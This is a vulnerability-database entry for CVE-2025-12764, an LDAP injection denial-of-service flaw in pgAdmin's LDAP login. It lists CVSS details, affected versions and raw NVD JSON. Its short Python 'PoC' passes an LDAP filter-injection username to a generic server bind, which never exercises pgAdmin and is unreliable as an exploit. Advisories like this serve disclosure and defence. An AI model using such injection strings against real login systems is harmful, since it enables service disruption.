Security Vulnerability Report
中文
CVE-2025-12764 CVSS 7.5 HIGH

CVE-2025-12764

Published: 2025-11-13 13:15:45
Last Modified: 2025-11-19 21:19:34
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

pgAdmin <= 9.9  is affected by an LDAP injection vulnerability in the LDAP authentication flow that allows an attacker to inject special LDAP characters in the username, causing the DC/LDAP server and the client to process an unusual amount of data DOS.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* - VULNERABLE
pgAdmin <= 9.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ldap # 恶意LDAP查询示例 malicious_username = "*)(uid=*))(|(uid=*" base_dn = "dc=example,dc=com" conn = ldap.initialize('ldap://target') conn.simple_bind_s(malicious_username, 'dummy')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12764", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-11-13T13:15:44.910", "lastModified": "2025-11-19T21:19:33.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pgAdmin <= 9.9  is affected by an LDAP injection vulnerability in the LDAP authentication flow that allows an attacker to inject special LDAP characters in the username, causing the DC/LDAP server and the client to process an unusual amount of data DOS."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-90"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:*", "versionEndExcluding": "9.10", "matchCriteriaId": "869DC8C4-E456-4D31-964B-96D4B9B8F4A2"}]}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/issues/9325", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}